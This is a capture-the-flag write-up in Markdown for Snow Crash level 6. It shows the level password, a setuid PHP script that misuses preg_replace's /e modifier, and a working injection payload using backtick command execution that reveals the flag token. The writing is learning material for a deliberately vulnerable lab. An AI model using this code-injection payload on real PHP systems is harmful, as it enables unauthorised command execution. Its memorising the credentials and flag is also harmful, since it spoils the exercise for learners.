snow-crash/maiboyer/level06/README.md

131 lines
3.6 KiB
Markdown

# Level 06
## how to login
username: level06
password: viuaaale9huek52boumoomioc
## Goal
run `getflag` as user `flag06`
## Actually doing something
```bash
level06@SnowCrash:~$ ls -la
total 24
dr-xr-x---+ 1 level06 level06 140 Mar 5 2016 .
d--x--x--x 1 root users 340 Aug 30 2015 ..
-r-x------ 1 level06 level06 220 Apr 3 2012 .bash_logout
-r-x------ 1 level06 level06 3518 Aug 30 2015 .bashrc
-rwsr-x---+ 1 flag06 level06 7503 Aug 30 2015 level06
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
-r-x------ 1 level06 level06 675 Apr 3 2012 .profile
```
A php file, and a setuid binary ? Seems fishy
lets look at the php file first
```php
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>
```
This doesnt look good...
lets try to run the setuid binary
```bash
level06@SnowCrash:~$ ./level06
PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$ ./level06 /tmp/flag05
#!/bin/sh
getflag >/tmp/flag05-output 2>&1
chmod +w /tmp/flag05-output
```
Can we ... just read whatever file we want ?! There must be something
lets look a the php file a bit more
Here is it with a better formatting
```php
#!/usr/bin/php
<?php
function y($m) {
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z) {
$a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
```
and here it is with better names
```php
#!/usr/bin/php
<?php
function y($res) {
$res = preg_replace("/\./", " x ", $res);
$res = preg_replace("/@/", " y", $res);
return $res;
}
function x($arg1, $unused) {
$res = file_get_contents($arg1);
$res = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $res);
$res = preg_replace("/\[/", "(", $res);
$res = preg_replace("/\]/", ")", $res);
return $res;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
```
it looks like it replaces lots of stuff, but overhall doesnt do much things
until I researched what the `/e` meant in the line right after `file_get_contents`
so it turns out this is a deprecated (and then removed) feature of PHP that allows the regexes search and replace to run code for every match
meaning that this will match any `[x <STUFF HERE>]` and run the function `y("<STUFF HERE>")`
lets try some stuff then !
```bash
level06@SnowCrash:~$ echo "[x @.@@.] @@" >/tmp/06
level06@SnowCrash:~$ ./level06 /tmp/06
y x y y x @@
```
It indeed ran the function `y` on the stuff inside brackets but not the stuff outside
so after a bit of digging into php, this seems to work and give us the flag !
```bash
level06@SnowCrash:~$ echo '[x ${`getflag`}]' >/tmp/06 && ./level06 /tmp/06
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
in /home/user/level06/level06.php(4) : regexp code on line 1
```
From what I understood: `${stuff}` is a way to reference a variable name using another expression (here the variable name will be whatever stuff evaluates to)
and ``stuff\`` runs the shell command `stuff`
meaning that we want to get a variable named after the result of getflag -> it doesnt exist -> php compains and print a warning :D